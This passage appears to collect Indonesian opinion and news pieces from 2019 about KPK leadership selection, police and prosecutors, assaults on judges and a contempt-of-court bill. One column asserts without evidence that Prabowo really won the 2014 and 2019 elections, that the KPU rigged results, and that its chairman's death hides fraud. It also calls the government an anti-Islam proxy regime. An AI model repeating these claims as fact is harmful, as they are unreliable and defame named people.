pendukung politiknya, pemerintah perlu wise (bijak bestari) untuk bersedia mengkaji secara cermat dan mendalam terhadap apa saja alasan yuridis yang tepat untuk dapat membubarkan organisasi massa Islam, seperti FPI. Hal ini menjadi niscaya oleh karena jika dilakukan hanya atas dasar ketidaksukaan akan berdampak pada pemasungan hak sipil Konstitusional warga negara, serta menurunnya kualitas demokrasi di negeri ini akibat terpasungnya kebebasan masyarakat untuk berserikat dan berkumpul.***

Prabowo Masuk Jantung Koalisi Jokowi, SBY Tidak Bersuara

Oleh Mochamad Toha (Wartawan Senior) Jakarta, FNN - Siapapun sudah tahu kalau Ketum PDIP Megawati Soekarnoputri adalah “pemilik” Presiden Joko Widodo. Siapapun juga tahu, Jokowi hanyalah “petugas” partai yang mendapat amanat sebagai Presiden RI yang “menang” Pilpres 2014 (dan 2019?). Padahal, sudah bukan rahasia lagi, pemenang kedua pilpres tersebut sejatinya Prabowo. Tapi, oleh Presiden Susilo Bambang Yudhoyono saat itu Prabowo harus menerima “kekalahan” ini. Dan, demi tetap utuhnya NKRI, Prabowo pun terpaksa legowo. Setelah dinyatakan kalah oleh Mahkamah Konstitusi (MK), Mantan Pangkostrad dan Danjen Kopassus tersebut langsung mengucapkan Selamat, kemudian bertandang ke Istana Bogor. Sebaliknya, Jokowi melakukan balasan sambang ke Prabowo. Sebelumnya, ketika Jokowi yang berpasangan dengan Jusuf Kalla dilantik sebagai Presiden dan Wapres Terpilih pada Oktober 2014, Prabowo yang kala itu berpasangan dengan Hatta Rajasa hadir di Gedung MPR. Hatta Rajasa adalah besan SBY. Selama ini tidak banyak yang tahu bahwa Hatta Rajasa sengaja disodorkan oleh SBY kepada Prabowo dengan tujuan untuk menggerus suara Prabowo di kalangan Nahdlatul Ulama (NU). Sebab, Ketum DPP PAN ini, dianggap mewakili Muhammadiyah. Namun, faktanya ternyata suara Prabowo-Hatta lebih unggul di atas Jokowi-JK saat Pilpres 2014. Fakta inilah yang kemudian “dimanipulasi” oleh KPU. Belakangan, Ketua KPU Husni Kamil Malik dirawat di RS Pusat Pertamina, dan meninggal dunia. Kabarnya, sebelum meninggal dunia di RSPP, Jakarta, Kamis (7/7/2016) sekitar pukul 21.30 WIB, Husni akan blak-blakan soal pencurangan Pilpres 2014 yang memenangkan Jokowi-JK. Semasa hidup, Husni pegang bukti pencurangan Pilpres 2014 itu. Sayangnya, saat itu tak ada upaya pihak keluarga untuk melakukan autopsi atas jenazah pria kelahiran Medan 18 Juli 1975. Padahal sebelumnya, suami Endang Mulyani tersebut sempat mengikuti buka bersama dan sempat tertawa-tawa. Suara ditutup! Husni tutup mata dalam usia relatif muda, 39 tahun. Tragis! Hingga kini penyebab kematian sebenarnya tidak terungkap. Lenyap! Tidak berbekas! Bagaimana Pilpres 2019 lalu? Konon, data lengkap perolehan suara sebenarnya dipegang seorang menteri. Apakah akhirnya “seorang menteri” ini akan membuka data pencurangan itu ke masyarakat, semuanya tergantung SBY yang selama ini menyokong Jokowi. Sebab, Kepala BIN Budi Gunawan sendiri tentunya juga pegang data dan bukti pencurangan. Pertemuan Prabowo-Jokowi di stasiun MRT Lebak Bulus yang diikuti BG dan Sekretaris Kabinet Pramono Anung, Sabtu (13/7/2019) tentunya merupakan sinyal bahwa pertemuan tersebut “disaksikan” pejabat negara (BG dan Pramono Anung). Megawati? Megawati bakal menjadi penentu dilantik atau tidaknya Jokowi sebagai Presiden bersama Ma’ruf Amin sebagai Wapresnya. Itu jika Jokowi opsi rekonsiliasi dengan Prabowo dipilih Jokowi. Megawati akan meninggalkannya kalau Jokowi menolak itu. Jokowi bakal dihabisin Megawati yang siap bergabung dengan Prabowo dan memobilisasi anggota DPR dari PDIP untuk segera melakukan impeachment terhadap Presiden Jokowi terkait dengan berbagai masalah ekonomi maupun pelanggaran HAM. Perlu dicatat, imbas dari pertemuan Prabowo-Megawati di Teuku Umar yang juga diikuti oleh BG, Pramono Anung, Prananda Prabowo, Puan Maharani, dan Sekjen Partai Gerindra Ahmad Muzani tersebut, telah membuyarkan impian Koalisi Jokowi. Empat parpol Koalisi Jokowi pun mengadakan pertemuan atas prakarsa Nasdem (Surya Paloh dengan Golkar, PKB, dan PPP. Imbas dari pertemuan yang tidak melibatkan PDIP sebagai pengusung Jokowi membuat Megawati merubah arah politiknya. Jadi, Megawati membutuhkan Prabowo untuk mau bergabung membentuk Koalisi Baru: Megawati-Prabowo-PDIP-Gerindra. Jika Jokowi menerima format rekonsiliasi yang diajukan Prabowo, maka Jokowi akan tetap menjadi Presiden RI 2019-2024. Di sinilah peran BG tampak. Dia berhasil mempertemukan Prabowo-Megawati. Sebenarnya Koalisi Jokowi itu sudah terpecah. Manuver Prabowo telah memporak-porandakan Koalisi Jokowi menyusul pertemuan di Stasiun MRT Lebak Bulus tersebut. Posisi PKS yang langsung mengibarkan benderà #KamiOPOSISI adalah guna mengamankan/ mengumpulkan Relawan 02 supaya tidak terpecah semuanya sampai menunggu komando Prabowo selanjutnya yang kini sedang bermanuver di jantung 01. Target untuk membubarkan Koalisi Jokowi telah berhasil. Sehingga membuat Koalisi Jokowi saling menerkam, menyusul rebutan kursi menteri Kabinet Jokowi-Ma’ruf. Prabowo sendiri sudah membubarkan Koalisi Adil Makmur pasca putusan MK. Hal Ini dilakukan Prabowo supaya memfokuskan dalam Satu Komando. Kalau mereka sudah terpecah, maka Prabowo lebih mudah melakukan dealing politik. Apalagi, sampai saat ini rakyat masih di belakang dan tetap berjuang bersama Prabowo. Sekarang ini pilihan ada di tangan Jokowi. Karena apabila tidak turut Megawati, bisa saja dia ditinggalkan dan Megawati bergabung dengan Prabowo. Apalagi, Jokowi sendiri, seperti kata Megawati, sering disebut sebagai “petugas” partai dan proxy SBY. Kalau Megawati bergabung dengan Prabowo, maka bisa jadi peta kekuasaan akan berubah, PDIP akan berbalik menyerang dan membantu dari balik layar membongkar kebusukan dan pencurangan Pilpres 2019. Jokowi sendiri sudah tahu masalah ini. Karena Megawati dan PDIP membutuhkan sandaran politik agar tetap di zona Aman. Inilah strategi politik Prabowo sebenarnya yang selama ini tak pernah disampaikan secara terbuka. Kita yang kurang paham akan langkah Prabowo pasti akan kecewa. Menteri Koalisi Presiden boleh tetap, tapi rezim dan kebijakan rezim bisa saja berubah. Itulah tujuan Prabowo mengapa menerima rekonsiliasi. Kalau melihat sejarahnya, Indonesia pernah mengalami hal seperti itu pada era Presiden Suharto 1967-1998. Semasa Orde Baru 1967-1987 pemerintahannya jadi anti Islam (pengaruh Jenderal Merah-CSIS-Cukong). Pada Orde Baru 1988-1998 Pak Harto mulai pro Islam (pengaruh Jenderal Hijau-CIDES-Pribumi). Sekarang ini rezim 2014-2019 sering disebut sebagai rezim proksi/boneka dengan SBY-Hendro Priyono-Luhut Binsar Panjaitan-CSIS-Cukong-China yang sangat anti Islam sebagai pengendali. Rezim 2019-2024 adalah rezim Jokowi-Prabowo-Megawati-Jusuf Kalla yang anti komunis jika rekonsiliasi terwujud. Semakin kokoh rekonsiliasi akan menghasilkan tindakan yang semakin tegas rezim penguasa kepada PKI, komunisme dan pendukungnya. PKI-Komunis ini berdasarkan hukum positif di Indonesia adalah Partai-paham terlarang. Era Bulan Madu Rezim Penguasa dengan Komunis sudah berakhir ketika Rekonsiliasi Jokowi-Prabowo dimulai dilakukan Jokowi-Prabowo. Pembubaran HUT Partai Rakyat Demokratik (PRD) ke-23 yang dilakukan Polri dan Front Pembela Islam (FPI) adalah salah satu contoh tindakan tegas terhadap organisasi yang disebut-sebut merupakan reinkarnasi dari ideologi komunis. Seleksi Capim KPK karena periodesasi pimpinan KPK 2015-2019 bakal berakhir. Seleksi Capim KPK untuk periode 2019-2023 diharapkan sekaligus dalam rangka pembersihan KPK dari orangnya SBY-Luhut-Hendro-CSIS yang telah merusak KPK selama belasan tahun. Partai Koalisi Jokowi tentu tetap dapat kursi kabinet, tapi jangan menuntut berlebihan. Harus disyukuri masih dapat kursi, mengingat fakta sebenarnya bahwa Prabowo yang menang pilpres dan seharusnya jadi presiden. Nasib SBY-Luhut-Hendro di era Jokowi ini mungkin akan sama dengan nasib Ali Murtopo, LB Moerdani, dan Sudjono Humardani di era Presiden Suharto. Mereka memusuhi Islam meminjam tangan Pak Harto. Dan, ditinggalkan Pak Harto ketika Pak Harto merangkul umat Islam. Luhut sendiri merasa paling berjasa pada Jokowi. Sekarang merasa ditinggalkan Jokowi yang balik merangkul umat Islam melalui rekonsiliasi. Ini seperti Moerdani era Pak Harto. Tanpa kendali atas rezim mendatang dan KPK, kader-kader utama Demokrat akan jadi tersangka. Para pendiri Demokrat akan take-over kepemimpinan Demokrat dari SBY. Satu-satunya cara agar selamat adalah mengambil hati rakyat dengan berbuat baik melalui pengungkapan bukti hasil pilpres 2019. Perlu dicatat, konstelasi politik hari-hari ini, Demokrat-Agus Harimurty Yudhoyono tak akan masuk kabinet Jokowi-Ma’ruf, KPK akan dibersihkan dari orang-orang SBY-Luhut-CSIS. Apalagi, kasus-kasus korupsi yang melibatkan Cikeas (Century, SKK Migas, Hambalang, e-KTP dan lain-lain) sudah matang, tinggal dipetik. Hanya keajaiban yang bisa selamatkan Demokrat-Cikeas. SBY akan lebih simpatik di mata rakyat jika mau mengubah sikapnya terhadap pemilu 2019. Lebih baik SBY mengungkap semua bukti pemenang Pilpres 2019 adalah Prabowo. Itulah solusi bagi SBY, AHY, dan Demokrat agar tidak hancur pasca rekonsiliasi. Dijamin politik nasional makin lebih mencair. Itulah strategi “Kuda Troya” ala Prabowo! ***

Semoga Bukan Kuda Troya yang Datang ke KPK

Oleh Dimas Huda (Wartawan Senior) Jakarta, FNN - Keinginan Kapolri Jenderal Polisi Tirto Karnavian agar Komisi Pemberantasan Korupsi (KPK) periode 2019-2013 dipimpin polisi sedikit lagi bakal terwujud. Soalnya, Tito tak cuma ngomong doang. Upaya ke arah sana kini benar-benar tengah terjadi. Publik menyaksikan polisi sudah menguasai medan seleksi pimpinan KPK. Setidaknya ada 9 perwira polisi aktif yang lolos untuk mengikuti tes psikologi. Itu belum termasuk para pensiunan polisi. Lebih jauh lagi, keinginan Tito juga didukung oleh keraguan publik atas komitmen pansel capim KPK periode 2019-2023 terhadap pemberantasan korupsi. Koalisi masyarakat sipil mencurigai rekayasa pemilihan capim KPK kini tengah berlangsung. Pansel dianggap tidak kridebel. Pansel itu terdiri atas Yenti Garnasih (Ketua) dan lndriyanto Seno Adji (wakil) dengan anggotanya yaitu Marcus Priyo Gunarto, Hendardi, Harkristuti Harkrisnowo, Diani Sadia Wati, Al Araf, Mualimin Abdi, dan Hamdi Moeloek. Mereka ini diangkat oleh Presiden Joko Widodo melalui sebuah kepres. Nah, sampai kini kepres itu “disembunyikan” dari mata publik. Di antara anggota Pansel itu ada figur yang pernah membela kasus korupsi, baik itu sebagai kuasa hukum atau ahli. Selain itu, ada juga figur yang rekam jejaknya cukup buruk di mata publik. Lantaran yang bersangkutan pernah mengikuti seleksi pejabat tinggi di salah satu kementerian, tetapi ditemukan makalah yang digunakan sebagai syarat seleksi ternyata plagiat dari makalah orang lain. “lntinya, ragu seleksi ini akan menghasilkan pimpinan KPK yang independen, kredibel, dan bisa dipercaya oleh masyarakat,” ujar Peneliti Indonesia Corruption Watch (ICW) Kurnia Ramadhana, pekan lalu. Mereka inilah yang bertugas memilih 5 orang calon pimpinan KPK. Saat pendaftaran capim dibuka, pendaftar berjumlah 376 orang. Selanjutnya mereka yang dinyatakan lolos administrasi ada 192 orang. Pada seleksi tahab II, 104 orang lolos uji kompetensi. Mereka itulah yang ikut ujian psikologi. Dari jumlah itu yang lolos tes psikologi diperkirakan 50-an orang. Pastinya saat ini, dari 104 orang itu, sembilan di antaranya merupakan jenderal polri aktif. Selain juga empat orang dari kejaksaan. Kesembilan jenderal Polri yang lulus itu adalah Irjen (Pol) Antam Novambar, Irjen (Pol) Dharma Pongrekun, Brigjen (Pol) M. Iswandi Hari, Brigjen (Pol) Bambang Sri Herwanto dan Brigjen (Pol) Agung Makbul. Kemudian, Irjen (Pol) Juansih, Brigjen (Pol) Sri Handayani, Irjen (Pol) Firli Bahuri dan Irjen (Pol) Ike Edwin. Selain jenderal polri aktif, ada juga sejumlah purnawirawan polri. Para purnawirawan itu, yakni Komjen (Purn) Anang Iskandar, Komjen (Purn) Boy Salamuddin, Irjen (Purn) Suedi Husein, Irjan (Purn) Yovianes Mahar dan Irjen (Purn) Yotje Mende. Selain anggota polri dan pensiunan polpri ada empat orang dari Kejaksaan. Inilah yang menyebarkan aroma bahwa kepolisian dan kejaksaan telah berjuang “merebut” KPK. Selama ini publik sudah mafhum, bahwa kedua institusi penegak hukum ini belum terlalu bagus dalam upaya pemberantasan korupsi. Rekam jejak hubungan kedua institusi itu dengan KPK juga banyak diwarnai noktah merah. Wajar saja, jika belakangan muncul desas desus yang menyebut kedua institusi ini tengah mengirim kuda troya untuk menghancurkan KPK dari dalam. Soal desas desus seperti itu saat ini belakangan lumayan cenderung santer. Bahkan pansus capim KPK saja sempat dibungkus isu-isu minor tentang radikalisme. KPK disebut-sebut telah kerasukan kelompok radikal agama. Sampai-sampai, muncul wacana untuk melibatkan Badan Nasional Pemberantasan Terorisme (BNPT). Munculnya isu itu sebagai dampak dari beberapa pernyataan pansel sendiri. Dan pernyataan itu tak mendasar dan nihil bukti. Pansel yang seharusnya mengutamakan mencari figur-flgur yang bisa membuat efek jera bagi pelaku korupsi malah bermain dengan isu radikalisme. Isu enggak valid dan penuh fitnah. Jadi wajar saja jika sejumlah pihak secara umum masih meragukan pansel capim KPK. ICW sebagai bagian dari Koalisi Masyarakat Sipil, misalnya, tak sependapat dengan format pembentukan pansel yang dipakai. Menyoal Pansel Para aktivis yang tergabung dalam Koalisi Masyarakat Sipil menyebut, seleksi calon pimpinan KPK itu sebagai rekayasa pemerintah. "Kalau boleh berkata sedikit keras ya, bahwa jangan-jangan memang pemerintah dan Pansel sudah mengatur sedemikian rupa sedari awal siapa ke depannya pimpinan KPK. Itu artinya proses seleksi ini adalah rekayasa semua," kata Anggota Koalisi Masyarakat Sipil, Feri Amsari, dalam keterangan pers di Kantor Lembaga Bantuan Hukum (LBH) Jakarta, Minggu (28/7). Omongan Feri tak asal bunyi. Langkah pansel capim KPK meloloskan sejumlah kandidat yang tidak memenuhi persyaratan sebagaimana diatur dalam undang-undang, seperti menyampaikan Laporan Harta Kekayaan Pejabat Negara (LKPN) adalah salah satu bukti. Pelaporan LHKPN secara berkala merupakan syarat seorang capim KPK sebagaimana diatur dalam Undang-undang Nomor 30 Tahun 2002 tentang KPK. Dugaan rekayasa itu, juga mengeras lantaran Keputusan Presiden (Keppres) Nomor 54/P Tahun 2019 tentang pembentukan Pansel Capim KPK tidak bisa diakses publik hingga saat ini. Pemerintah sengaja tertutup soal keterpilihan Pansel Capim KPK. Aktivis LBH Jakarta, Nelson Simamora, mengatakan pihaknya sudah mengajukan permohonan untuk bisa mengakses Keppres itu ke Sekretariat Negara (Setneg), namun ditolak. "Kita ajukan pada tanggal 10 Juli 2019. Kita minta hanya salinan Keppres itu. Kemudian kita menyampaikan juga ini bukan informasi yang dikecualikan. Kemudian tanggal 25 Juli 2019 permohonan informasi publik kita ditolak Sekretariat Negara," katanya. Keppres merupakan norma hukum yang bersifat konkret, individual, dan sekali selesai. Keppres biasanya diunggah di situs Setneg. Tetapi saat ini, tidak ditemukan Keppres yang dimaksud. Dalam jawaban penolakan itu, kata Nelson, Setneg menyatakan salinan Keppres itu hanya untuk pihak-pihak yang berkepentingan. "Jawabannya seperti ini, 'bersama ini permohonan saudara tidak bisa kami penuhi, Keppres tersebut disampaikan kepada yang bersangkutan'. Ini bahasanya muter-muter, intinya tidak dikasih," katanya. Penolakan itu merupakan salah satu bukti rezim Jokowi tidak transparan. Padahal hanya menyangkut aturan perundang-undangan. Lantaran itu, Nelson menyatakan pihaknya berencana menggugat pembentukan Pansel Capim KPK. Komisioner Komisi Informasi Pusat, Cecep Suryadi, berpendapat senada. Setneg harusnya terbuka soal Keppres tersebut. Sebab Keppres bukanlah informasi yang dikecualikan Keppres itu seharusnya bisa diakses karena ada lampiran nama-nama pansel, apa saja yang jadi tanggung jawab pansel, ruang lingkup kerja, masa kerja pansel. “Setneg harus buka itu, kalau ada yang memohon harus disampaikan," ujarnya. Ia pun memberi saran kepada Koalisi Kawal Capim KPK untuk mengajukan keberatan kepada atasan pegawai Pejabat Pengelola Informasi dan Dokumentasi (PPID) Setneg yang menjawab surat tersebut. Jika tidak dijawab atau jawaban tidak memuaskan, ia mempersilakan para aktivis antikorupsi itu mengajukan permohonan penyelesaian sengketa ke KIP. Di era transparansi pengelolan negara, sungguh ironis, Setneg tiba-tiba menjadi lembaga yang tertutup. Presiden Jokowi harus bertanggung jawab jika nanti KPK terpuruk gara-gara rekayasa ini. Jika nanti ada figur-figur tertentu yang bermasalah lulus pada seleksi Capim KPK, berarti presiden terlibat secara sistematis membiarkan hal itu. Mulai sekaranglah semua pihak hendaknya ikut mencegah masuknya kuda troya ke dalam tubuh KPK.

Fungsi Tipikor di Jaksa & Polisi Sebaiknya Dihapus Saja

By Luqman Ibrahim Soemay Jakarta, FNN - Peran dan fungsi penegakan hukum tindak pidana korupsi yang dimiliki oleh kejaksaan dan kepolisian sebaiknya dihapuskan saja. Pemberantasan korupsi semuanya dipusatkan satu pintu di Komisi Pemberantasan Korupsi (KPK) saja. Toh sekarang banyak pejabat fungsional yang masih aktif di kejaksaan dan kepolisian yang berlomba-lomba melamar menjadi calon pimpinan KPK. Sekarang ini jaksa sama polisi aktif sedang berlomba-lomba jadi komisioner KPK. Kalau mereka tidak percaya lagi dengan lembaganya sendiri, ya sebaiknya tindak pidana korupsi di kejaksaan dan kepolisian dihapuskan saja. Dengan demikian semua potensi, kemampuan sumber daya manusia dan anggaran untuk kegiatan pemberantasan korupsi bisa dipusatkan ke KPK. Diharapkan hasil kerja KPK juga bisa lebih baik dan optimal. Anggaran pemberantasan korupsi tiap tahun sangat besar. Sekarang anggaran tersebut tersebar di tiga lembaga penegak hukum untuk melakukan penyelidikan dan penyidikan dugaan tindak pidana korupsi. Selain di KPK,juga di kejaksaan dan kepolisian. Panitia Seleksi (Pansel) pimpinan KPK sedang menyeleksi tahapan akhir calon-calon pimpinan lembaga anti rasuah tersebut. Tercatat sebanyak sembilan anggota polisi aktif ikut mendaftarkan diri untuk menjadi calon pimpinan. Selain itu jumlah jaksa aktif yang mendaftar sebanyak lima orang. Jumlah tersebut belum termasuk pensiunan polisi dan jaksa yang tidak kalah banyaknya. Jaksa aktif yang mendaftar sebagai calon pimpinan KPK, ada dua Kepala Kejaksaan Tinggi (Kajati), yaitu Kajati Sumatera Selatan, Purnomo, Kajati Sulawesi Tengah, M. Rum. Selain itu, Kepala Diklat Manajemen dan Kepemimpinan Badiklat Kejaksaan Agung, Ranu Mihardja dan Direktur Tata Usaha Negara pada Jaksa Agung Muda Perdata dan Tata Usaha Negara. Satu lagi koordinator pada Jaksa Agung Muda Pidana Khusus, Supardi Dari jajaran perwira tinggi polisi aktif bintang dua, ada Wakil Kepala Badan Reserse Kriminal (Wabareskrim) Polri Irjen Pol. Antam Novambar, Irjen Pol. Coki Manurung, Irjen Pol. Abdul Gofur, Irjen Pol. Juansih dan Irjen P. Dharma Pongrekun. Sementara dari jajaran bintang satu aktif, ada Brigjen Pol. Bambang Sri Herwanto, Brigjen Pol. Agung Makbul, Brigjen Pol. Sri Handayani dan Brigjen Pol. M. Iswandi Hari. Fenomena ini menggambarkan para perwira tinggi polisi aktif dan jaksa aktif tersebut tidak terlalu percaya dengan lembaga kejaksaan dan kepolisian dalam hal pemberantasan korupsi. Padahal kedua lembaga ini mempunyai unit pemberantasan korupsi. Tugas-tugas pemberantasan korupsi juga sudah dilakukan kedua lembaga ini sejak lama, sebelum KPK dua puluh tahun terakhir. Polisi misalnya punya Direktorat Tindak Pidana Korupsi dan Eksus di Bareskrim Polri. Sementara di tingkat Polda, ada Subdit Pidana Korupsi pada Derektorat Kriminal Khusus (Krimsus). Sedangkan di tingkat Polres, ada Unit Krimsus pada Satuan Reskrim. Semuanya bertugas melakukan penyelidikan dan penyidikan terhadap dugaan tindak pidana korupsi. Sedangkan di jajaran kejaksaan, ada Jaksa Agung Muda Pidana Khusus atau terkenal dengan “Gedung Bundar” untuk tingkat Pusat. Sementara di tingkat Kejati atau provinsi ada Asisten Pidana Khusus, yang sering disebut Aspidsus. Kalau di Kejari atau kabupaten/kota ada Kasi Pidsus. Semua unit yang keren-keren ini dibuat ada untuk melakukan pemberantasan terhadap korupsi. Sayangnya, ada kecenderungan para pejabat yang masih aktif kepolisian dan kejaksaan ini seperti sedang tidak percaya diri. Meraka sepertinya ragu sendiri bisa melakukan pemberantasan korupsi dari lembaganya masing-masing. Buktinya, mereka sekarang beramai-ramai mendaftarkan diri untuk menjadi calon pimpinan KPK. Fenomena apa yang sedang terjadi sekarang di kedua lembaga tersebut, sehingga pejabat aktifnya ramai-ramai melamar sebagai calon pimpinan KPK? Jabannya mungkin masih dibutuhkan kajian khusus. Namun yang pasti, KPK lahir sebagai jawaban antitesa terhadap lembaga kejaksaan dan kepolisian yang sangat lemah dalam permberantasan korupsi. Dampaknya korupsi begitu tumbuh subur seperti jamur di musim hujan. Kasus yang paling heboh dan menggemparkan di kejaksaan dan kepolisian korupsi kondensat sebesar Rp 38 triliun. Kasus korupsi terbesar dalam sejarah Indonesia sejak merdeka ini sudah mangkrat selama empat tahun. Disidik oleh Direktorat Eksus Bareskrim Polri sejak tahun 2015. Namun sampai sekarang belum juga sampai ke pengadilan untuk disidangkan. Anehnya lagi untuk korupsi kondensat ini Jampidsus Adi Toegarisman berkali-kali sudah bilang “berkasnya sudah P-21”. Omongan Adi Toegarisman bahwa kasus kondensat sudah P-21 ini sudah disampaikan sejak awal 2018. Namun sampai sekarang tidak tahu rimbanya. Entah butuh waktu berapa lama lagi bagi Jampidus agar kasus korupsi kondensat bisa sampai ke pengailan. Sebab kabar hoax yang beredar di kalangan jaksa maupun polisi bahwa kasus kondensat ini mau digiring ke penyelesaian secara perdata. Ada kekuatan gelap dan besar di sekitar lembaga kepresidenan dan istana negara yang sedang bekerja keras ke arah sana (perdata). Polisi juga tidak optimal dalam tugas utama menjaga keamanan publik. Banyaknya anggota polisi yang mengurus tidak pidana korupsi membuat tugas utama menjadi kedodoran. Tindak pidana kekerasan, seperti begal dan pencurian yang disertai pembunuhan marak terjadi. Salah satu penyebabnya adalah terlalu banyak anggota polisi yang sibuk mengurus korupsi. Kasus paling anyar dan hangat hari ini adalah penyiraman air keras ke mata dan muka penyidik senior KPK Novel Baswedan. Meskipun sudah dua tahun peristiwa ini terjadi, polisi belum juga bisa menemukan dalang dan pelaku penyiraman. Entah dibutuhkan teknologi apalagi, dan waktu berapa lama lagi bagi polisi untuk menemukan dalang dan pelakunya. Lambatnya polisi menemukan pelaku penyiraman air keras ke muka dan mata Novel Baswedan ini mendorong Presiden Joko Widodo angkat bicara. Presiden memberikan batas waktu sampai awal Oktober 2019 kepada Kapolri Jenderal Polisi Muhammad Tito Karnavian. Jika sampai awal Oktober pelakunya tidak juga ditemukan, maka Jokowi akan mengevaluasi posisi Tito sebagai Kapolri. Jika polisi tidak lagi urus tindak pidana korupsi, maka sumber daya manusia polisi bisa dioptimalkan untuk menangani tindak pidana umum. Selain itu, bisa bisa dioptimalkan untuk mencegah peredaran narkotika, pidana trafficking dan pidana ciber crime. Polisi juga bisa optimal untuk mencegah pidana kerusakan lingkungan, illegal fishing dan illegal meaning dan illegal loging. Sudah waktunya institusi kejaksaan dan kepolisian dikembalikan tugas-tugas utamanya. Jaksa bertugas melaksanakan fungsi-fungsi penuntutan di pengadilan. Selain itu, jaksa juga menjadi pengacara negara dalam rangka tugas-tugas keperdataan dan tata usaha negara. Semua perjanjian perdata dan tata usaha negara yang berkaitan dengan aset dan kekayaan negara, baik dengan pihak di dalam negeri maupun luar negeri, mutlak harus sepengetahuan jaksa sebagai pengacara negara.

Pemukulan Hakim Dorong Puslitbang MA & IKAHI Gelar Seminar Contempt of Court

Jakarta, FNN - Maraknya penyerangan dan pemukulan terhadap hakim di pengadilan belakangan ini, mendorong Pusat Penelitian Hukum dan Peradilan Mahkamah Agung Republik Indonesia menggelar seminar tentang Contempt of Court. Seminar ini terselenggara atas kerjasama Puslitbang MA dengan Ikatan Hakim Indonesia (IKAHI) Cabang Khusus Mahkamah Agung. “Pelaksanaan seminar direncanakan Kamis besok 1 Agustus 2019. Seminar yang berlangsung di daerah Kemayoran Jakarta Utara tersebut mengambil tema “Peran Contempt of Court dalam Perlindungan Kekuasaan Kehakiman Yang Mandiri dan Bebas dari Segala Pengaruh dan Ancaman”, “ujar Kepala Puslitbang Hukum dan Peradilan Mahkamah Agung Hasbi Hasan kepada wartawan di Jakarta, Rabu (30/07) Ditambahkan Hasbi Hasan, pemilihan tema Contempt of Court ini secara substansi dimaksudkan untuk menggali pentingnya aturan tentang Contempt of Court dalam bentuk perundang-undangan. Undang-undang yang secara khusus memberikan jaminan bagi kemandirian hakim memutuskan suatu perkara. Selain itu, untuk menjaga marwah dan martabat lembaga peradilan. Harus ada aturan yang secara khusus memberikan saksi pidana kepada mereka yang mengancam dan menghina para hakim dan lembaga peradilan. Jika tidak, peristiwa penyerangan dan pemukulan terhadap hakim kemungkinan bisa terulang kembali. Besar kemungkinan, hakim jadi tidak mandiri dalam memutuskan suatu perkara, kerana takut dengan ancaman dari para pihak “Diharapan kejadian seperti ini jangan sampai terulang kembali di waktu-waktu mendatang. Untuk itu diperlukan payung hukum yang memberikan perlindungan kepada para hakim dan lembaga peradilan. Kondisinya sudah sangat penting dan mendesak, “ujar Hasbi Hasan Berkaitan dengan itu, seminar dengan tema Contempt of Court juga menjadi sangat penting, menarik. Para pembicara atau narasumber yang dihadirkan di seminar ini adalah mereka yang ahli dan kompeten di bidangnya. Diantaranya, Prof Dr. Bagir Manan, Dr. Jaja Ahmad Jayus, Prof. Harkristuti Harkrisnowo, Ph.D, dan Muhammad Nasir Djamil, anggota Komisi III DPR RI. Menurut Hasbi, para pimpinan di Mahkamah Agung sangat prihatin dengan peristiwa penyerangan dan pemukulan terhadap hakim tersebut. Pimpinan Mahkamah Agung memberikan perhatian khusus, dan berharap tidak terjadi lagi. Untuk itu diperlukan payung hukum yang mengikat semua pihak tanpa kecuali “Diharapkan hasil dari seminar ini bisa mendorong DPR agar secepatnya mengesahkan RUU Contempt of Court menjadi undang-undang. Produk hukum positif yang mengikat semua pihak. Apalagi RUU ini sudah masuk dalam program legislasi nasional (Prolegnas) tahun 2015-2019, ”tutur Hasbi Hasan. (ahly)

Pentingnya Pengesahan RUU Contempt of Court

By DR. Ismail Rumadan Peneliti Hukum dan Peradilan Mahkamah Agung RI Jakarta, FNN - Penasehat hukum menyerang dan memukul hakim di Pengadilan Negeri. Anda boleh percaya, dan boleh juga tidak percaya. Namun peristiwa yang sangat memalukan itu benar-benar terjadi di Pengadilan Negeri Jakarta Pusat Kamis 18 Juli 2019 lalu Penasehat hukum yang menyerang majelis hakim yang sering disebut dengan yang mulia itu namanya Dasrizal. Kelakuan Dasrizal ini menambah deretan catatan buram berbagai bentuk tindakan penghinaan terhadap pengadilan yang terjadi sebelumnya. Pemukulan terhadap hakim di ruang sidang ini menunjukkan penghinaan terhadap pengadilan masih terus-menerus terjadi. Peristiwa ini boleh dibilang menuju tahap yang sangat mengkhawatirkan. Sebab, penghinaan bukan lagi semata tindakan verbal di pengadilan. Penghinaan sudah mengarah pada aksi kekerasan di dalam ruang sidang. Sasaran penghinaan tidak saja terhadap gedung atau sarana pengadilan, melainkan juga terhadap majelis hakim. Dalam beberapa catatan, tindakan penghinaan terhadp lembaga pengadilan yang pernah terjadi di Pengadilan Agama Sidoarjo. Hakim Pengadilan Agama Sidoarjo M. Taufik dibunuh oleh mereka yang bersengketa di pengadilan. Palakunya anggota TNI AL Kolonel M. Irfan, yang digugat oleh mantan istrinya. Pelaku pembunuhan dan mantan istri ini sedang memperebutkan harta gono-gini Bukan itu saja kejadian penyerangan dan pemukulan terhadap hakim. Pada tanggal 29 Oktober 2010 lalu, sejumlah pengunjung sidang memukuli hakim Pengadilan Negeri Ende Nusa Tenggara Timur. Pelakunya adalah Ronald Masang, yang menuduh sang hakim melindungi tersangka. Keluarga korban meminta terdakwa dilepas agar dihakimi oleh mereka sendiri. Selain itu, serangan dan perusakan terhadap pengadilan negeri oleh sekelompok massa. Kejadian ini terjadi di Pengadilan Negeri Depok September 2013. Peristiwa yang sama juga terjadi di Pengadilan Negeri Bantul Juni 2018. Kasus-kasus tersebut di atas menggambarkan lemahnya pengaturan tentang contempt of court sebagai bentuk perlindungan terhadap lembaga peradilan Indonesia. Tindakan yang jelas-jelas merendahkan martabat dan wibawa lembaga peradilan mungkin saja akan terus terjadi. Bahkan tindakan penghinaan tersebut dianggap menjadi hal biasa dalam sebuh proses persidangan di peradilan. Lemahnya aturan hukum yang mengatur contempt of court ini tercermin dari belum adanya undang-undang yang secara khusus mengatur contempt of court. Perlu dipertegas bahwa sampai saat ini Indonesia belum memiliki undang-undang yang secara khusus mengatur perlindungan terhadap lembaga peradilan. Beberapa ketentuan yang ada sebagaimana diatur dalam Pasal 207, Pasal 217, dan Pasal 224 KUHP masih sangat lemah. Belum cukup untuk mengakomodir semua jenis penghinaan terhadap lembaga pengadilan. Berbeda dengan di negara-negara lain. Banyak negara di dunia yang menjunjung tinggi hukum dan demokrasi, sangat memberikan perlindungan yang tinggi terhadap kewibawaan hakim dan lembaga peradilan. Perlindungan terhadap wibawa dan martabat pengadilan seharusnya diatur secara ketat dalam peraturan perundang-undangan. Pada abad ke-13, di Inggris contempt of court tergolong tindak pidana yang berat. Seperti dikatakan oleh Bracton tahun 